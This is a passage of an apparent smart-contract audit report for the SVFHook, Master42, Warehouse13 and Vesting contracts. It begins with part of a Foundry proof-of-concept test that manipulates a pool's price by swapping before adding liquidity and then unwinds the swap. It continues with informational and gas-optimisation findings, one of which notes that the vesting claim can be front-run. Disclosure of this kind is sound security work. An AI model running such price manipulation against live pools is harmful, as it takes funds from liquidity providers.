staringSqrtPriceX96); // Estimated liquidity uint256 amt0 = 5 ether; uint256 amt1 = 5 ether; uint256 initialSvfLiquidityAmount = (svfTotalSupply * 5 / 100) - amt1; vm.startPrank(dao); svftoken.transfer(swapper, initialSvfLiquidityAmount); vm.stopPrank(); vm.startPrank(dao); svftoken.transfer(depositor, amt1); vm.stopPrank(); vm.deal(depositor, amt0); vm.startPrank(depositor); weth.deposit{value: amt0}(); vm.stopPrank(); uint128 estimatedLiquidity = LiquidityAmounts.getLiquidityForAmounts( staringSqrtPriceX96, TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK), amt0, amt1 ); console.log("Initial estimatedLiquidity", estimatedLiquidity); (uint256 token0Before, uint256 token1Before, uint256 token0After, uint256 token1After) = swapToImpactPrice(initialSvfLiquidityAmount, swapper); console.log("token0BeforeSwap", token0Before); console.log("token1BeforeSwap", token1Before); console.log("token0AfterSwap", token0After); console.log("token1AfterSwap", token1After); // manipulated price (uint160 manipulatedSqrtPriceX96,,,) = manager.getSlot0(poolId); console.log("manipulated sqrt price", manipulatedSqrtPriceX96); estimatedLiquidity = LiquidityAmounts.getLiquidityForAmounts( manipulatedSqrtPriceX96, TickMath.getSqrtPriceAtTick(MIN_TICK), TickMath.getSqrtPriceAtTick(MAX_TICK), amt0, amt1 ); console.log("estimatedLiquidity", estimatedLiquidity); assertGt(estimatedLiquidity, 0); // Protocol included 0 liquidity check on estimated liquidity vm.startPrank(depositor); (uint256 uniNFTId, uint128 expectedLiquidity,) = hook.addLiquidity( key, SVFHook.AddLiquidityParams({amount0Desired: amt0, amount1Desired: amt1, deadline: MAX_DEADLINE}) ); vm.stopPrank(); console.log("uniNFTId", uniNFTId); console.log("expectedLiquidity", expectedLiquidity); // Check the actual liquidity from the position bytes32 positionKey = calculatePositionKey(address(posm), MIN_TICK, MAX_TICK, bytes32(uniNFTId)); uint128 actualLiquidity = manager.getPositionLiquidity(poolId, positionKey); console.log("actualLiquidity", actualLiquidity); // Unwind swap uint256 swapperWeth = weth.balanceOf(swapper); console.log("swapperWeth", swapperWeth); vm.startPrank(swapper); swap(key, true, -int256(swapperWeth - token0Before), ZERO_BYTES); vm.stopPrank(); // Check the recorded liquidity from the master42 contract (uint256 amount,) = master42.userInfo(0, depositor); console.log("amount", amount); assertEq(expectedLiquidity, amount); actualLiquidity = manager.getPositionLiquidity(poolId, positionKey); console.log("actualLiquidity", actualLiquidity); assertEq(expectedLiquidity, actualLiquidity); // // Check the final balances uint256 finalWethBalance = weth.balanceOf(swapper); uint256 finalSvfBalance = svftoken.balanceOf(swapper); console.log("swapperFinalWethBalance", finalWethBalance); console.log("swapperFinalSvfBalance", finalSvfBalance); console.log("swapperSvfDifference", token1Before - finalSvfBalance); assertEq(finalWethBalance, token0Before); // assertEq(finalSvfBalance, token1Before);}
Consider two step transfer for Vesting.setRecipient
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
noah.eth
Description
Similar to ownership transfers, user error could be reduced using a two step process for recipient transfer. Using
Ownable2step
and transferring to owner instead of recipient is one strategy.Regardless of approach, note the timing around
setRecipient
. The function may be called with claimable but not claimed amounts. The new recipient will be able to claim themEven if giving unclaimed to the new recipient is desired,
claim
is not access controlled so anyone may frontrun and force claim to the old recipient before the new recipient is added.Naming of state variables
Severity
- Severity: Informational
Submitted by
tnch
Description
Some state variables might benefit from better naming to make their intention more explicit to developers and reviewers:
- In the
Warehouse13
contract,initialBalance
could beinitialSVFBalance
. - In the
Vesting
contract,totalVested
could betotalClaimed
.
Recommendation
Consider changing these variables names to make their intention more explicit. Alternativel, you can better document their intended use with inline comments.
Lack of validation of order type
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
tnch
Description
The
_orderType
parameter passed to thepublishAGI
function of theWarehouse13
contract is not validated. According to the docs, it's only expected to be 0 or 1. If so, it may benefit from adding explicit checks to specify expected values and avoid unintended inputs.Recommendation
Consider validating the
_orderType
parameter.Tracking of totalResponses in Master42 might be unnecessary
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
tnch
Description
There's a
totalResponses
state variable in theMaster42
contract that might not be needed. Currently it gets incremented by one every time the AI posts a response in the contract, which also increments the size of theprocessedTasks
array by one.processedTasks.push(_messageId);totalResponses++;
Because these state variables are not modified anywhere else, this means
totalResponses
should always matchprocessedTasks.length
.Recommendation
Given the length of
processedTasks
can be queried viagetProcessedTasksLength
, consider removing thetotalResponses
state variable if it doesn't serve any other purpose in the system.SafeTransferLib must check external code size
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
tnch
Description
The
_transfer
function of theWarehouse13
contract uses solmate'sSafeTransferLib
library to execute transfers of ERC20 tokens. It's worth noting that old versions of this library did not check that the asset existed, which would cause unexpected behaviors due to no-ops succeeding as valid transfers. The external code size check was later added in this pull request.Recommendation
Make sure that the version of the
SafeTransferLib
to be used in production includes the external code size checks.Untested functionality in Master42 contract
Description
The
respond
function of theMaster42
contract does not appear to be tested in the available test suite, which may lead to undetected unintended behaviors in the current or future versions of the system. We have not checked that all other functionality is indeed included in the test suite, so we'd advise integrating automatic coverage tooling and reports, such asforge coverage
, which should greatly contribute to further detect areas of improvement for tests.Recommended whitelist check in addLiquidity method
State
- Acknowledged
Severity
- Severity: Informational
Submitted by
Mario Poneder
Description
The
addLiquidity
method does not verify whether the tokens being added to the pool are still whitelisted. This allows users to add liquidity and earn chatpoints for tokens that have been removed from the whitelist using theupdateTokenWhitelists
method. This behavior seems to undermine the purpose of the whitelist, as it does not enforce restrictions on token usage for existing pools.Recommendation
It is recommended to add a whitelist check in the
addLiquidity
method to ensure that only whitelisted tokens can be used for adding liquidity.Semantic Layer
We only use the token whitelist to restrict who can create a pool with the
SVFHook
. There is no need to check it after the pool has been created.
Gas Optimizations5 findings
Unused PoolManager.unlock callback handling
State
- Acknowledged
Severity
- Severity: Gas optimization
Submitted by
noah.eth
Description
There are functions to handle unlocking of the
PoolManager
contract that are not in use. To add and remove liquidity, thePositionManager
is used (where thePositionManager
handles unlocking of thePoolManager
).Otherwise the
PoolManager
is only used to call thebeforeInitialize
hook inSVFHook
. In which case the caller is correctly validated to be thePoolManager
.Recommendation
Remove the unused functions.
Replace subtraction with constant
State
- Acknowledged
Severity
- Severity: Gas optimization
Submitted by
noah.eth
Description
vestingEnd - vestingBegin
could be replaced with a constant of 3 years.Semantic Layer
This is optional, keeping
vestingEnd - vestingBegin
will be more readable and universal.Using unchecked math can save small amounts of gas
State
- Acknowledged
Severity
- Severity: Gas optimization
Submitted by
noah.eth
Description
Where it its known that values cannot overflow, consider using unchecked math.
Duplicate storage reads for nft2UniNFT[tokenId]
State
- Acknowledged
Severity
- Severity: Gas optimization
Submitted by
noah.eth
Description
The
redeemLP
readsnft2UniNFT[tokenId]
from storage to apply the modifier, then again in_burnLPProof
loads the value from storage.Recommendation
Consider caching in a local variable and applying the validation then passing the value to
_burnLPProof
.Short circuit availablePoints when user.amount is 0
Severity
- Severity: Gas optimization
Submitted by
noah.eth
Description
The main body of the for loop is unnecessary in the case
user.amount == 0
.Recommendation
function availablePoints(address _user) public view returns (uint256) { uint256 availableAmount = points[_user]; uint256 pending = 0; for (uint256 _pid = 0; _pid < poolInfo.length; _pid++) { PoolInfo memory pool = poolInfo[_pid]; UserInfo memory user = userInfo[_pid][_user];+ if (user.amount == 0) { continue; } uint256 accPointsPerShare = pool.accPointsPerShare; uint256 tokenSupply = 0; if (_pid == 0) { tokenSupply = hook.totalLockedFullRangeLiquidity(poolId); } else { tokenSupply = supportedTokens[_pid].balanceOf(address(this)); } if (block.timestamp > pool.lastPointsRewardTimestamp && tokenSupply != 0) { uint256 elapsedTime = block.timestamp - pool.lastPointsRewardTimestamp; uint256 pointsReward = elapsedTime * pointsPerSecond * pool.allocProportion / totalProportion; accPointsPerShare = accPointsPerShare + (pointsReward * ACC_POINTS_PRECISION / tokenSupply); } pending += (user.amount * accPointsPerShare / ACC_POINTS_PRECISION) - user.pointsDebt; } availableAmount += pending; return availableAmount;}